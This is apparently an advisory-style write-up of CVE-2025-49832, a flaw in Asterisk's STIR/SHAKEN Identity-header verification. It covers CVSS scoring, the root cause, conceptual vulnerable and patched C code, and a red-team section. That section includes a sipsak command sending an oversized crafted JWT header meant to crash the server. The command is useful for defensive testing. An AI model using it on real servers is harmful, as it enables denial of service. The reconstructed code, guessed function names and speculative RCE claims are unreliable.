CVE-2025-49832

Executive Summary

CVE-2025-49832 is a high-severity vulnerability in the Asterisk open-source PBX and telephony toolkit, specifically within the STIR/SHAKEN verification module (res/res_stir_shaken/verification.c). The flaw allows a remote, unauthenticated attacker to cause a denial of service (DoS) and potentially achieve remote code execution (RCE) by crafting a malicious SIP Identity header. The vulnerability exists because the STIR/SHAKEN verification logic does not properly validate the structure and content of the Identity header before processing, leading to memory corruption or infinite loops. This affects all supported Asterisk branches up to specific patch levels. No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the potential for RCE. The vendor has released patches for all affected versions.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects the Asterisk source code, which is typically compiled and deployed by system administrators. The supply chain risk is limited to the integrity of the Asterisk source tarballs or Git repositories from which the software is obtained. Organizations should verify the checksums of downloaded Asterisk source code and ensure they are using official mirrors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – The attacker does not need any authentication.
• User Interaction: None (UI:N) – No user action is required for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality Impact: None (C:N) – No data confidentiality is directly compromised.
• Integrity Impact: None (I:N) – No data integrity is directly compromised.
• Availability Impact: High (A:H) – Successful exploitation leads to a complete denial of service (Asterisk crash or hang). The potential for RCE further elevates the risk, though the CVSS score only reflects the DoS aspect.

Threat Level: High. The combination of network-based, unauthenticated exploitation with a potential for RCE makes this a critical vulnerability for any organization using Asterisk with STIR/SHAKEN enabled.

Deep Dive & Mechanics

The vulnerability resides in the res/res_stir_shaken/verification.c file, which implements the STIR/SHAKEN (Secure Telephone Identity Revisited / Signature-based Handling of Asserted information using toKENs) verification process. STIR/SHAKEN is a framework used to verify the authenticity of caller ID information in SIP (Session Initiation Protocol) calls.

Root Cause: The ast_stir_shaken_verify() function (or a related helper) fails to properly sanitize or validate the Identity header before passing it to internal parsing routines. Specifically, the code does not check for:

1. Malformed JSON Web Tokens (JWTs): The Identity header contains a JWT. If the JWT is crafted with an invalid signature, unexpected payload structure, or excessively long fields, the parsing logic can enter an infinite loop or cause a buffer overflow.
2. Recursive or deeply nested JSON objects: The JWT payload may contain nested JSON objects. Without depth limits, parsing can lead to stack exhaustion or memory corruption.
3. Null pointer dereferences: If the header is missing expected fields (e.g., attest, origid), the code may attempt to dereference a NULL pointer, causing a crash.

Attack Flow:

1. The attacker sends a SIP INVITE request to a vulnerable Asterisk server.
2. The request includes a crafted Identity header containing a malicious JWT.
3. Asterisk, with STIR/SHAKEN verification enabled for the target endpoint, passes the header to the vulnerable verification function.
4. The flawed parsing logic triggers a crash (DoS) or, in a more sophisticated exploit, overwrites memory to achieve code execution (RCE).

Why RCE is Possible: Memory corruption vulnerabilities (e.g., heap overflows) in C code can often be leveraged for RCE by carefully controlling the overwritten data to hijack the program's control flow. While the primary impact is DoS, the potential for RCE should not be discounted.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but based on the advisory, the fix involves adding input validation and bounds checking to the Identity header parsing logic.

Vulnerable Code (Conceptual):

// In res/res_stir_shaken/verification.c
static int verify_identity_header(struct ast_sip_session *session, const char *identity) {
    // No validation of identity string length or structure
    json_t *jwt = jwt_decode(identity, NULL, 0); // Potential for crash on malformed input
    // ... further processing without checks
}

Patched Code (Conceptual):

// In res/res_stir_shaken/verification.c
static int verify_identity_header(struct ast_sip_session *session, const char *identity) {
    // Validate input length and basic structure
    if (strlen(identity) > MAX_IDENTITY_HEADER_LEN) {
        ast_log(LOG_WARNING, "Identity header too long\n");
        return -1;
    }
    // Use safe parsing with limits
    json_t *jwt = jwt_decode(identity, NULL, 0);
    if (!jwt || !json_is_object(jwt)) {
        ast_log(LOG_WARNING, "Invalid JWT in Identity header\n");
        return -1;
    }
    // ... further processing with proper error handling
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Asterisk server (e.g., version 20.15.0) with STIR/SHAKEN enabled for at least one SIP endpoint.
• Network access to the server's SIP port (usually 5060 UDP/TCP).
• A SIP client or tool to send crafted SIP messages (e.g., sipsak, sipp, or a custom Python script).

Exploitation Steps (DoS):

1. Craft a malicious SIP INVITE: Create a SIP INVITE request with a malformed Identity header. For example, a JWT with an extremely long payload or deeply nested JSON.
2. Send the request: Use a tool like sipsak to send the crafted request to the target.

   sipsak -I -s sip:target@victim.com -H "Identity: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdHRlc3QiOiJBIiwib3JpZ2lkIjoiMTIzNDU2Nzg5MCIsIm9yaWdfdG5vIjoiKzEyMzQ1Njc4OTAiLCJkZXN0Ijp7InRuIjpbIisxOTg3NjU0MzIxIl19fQ.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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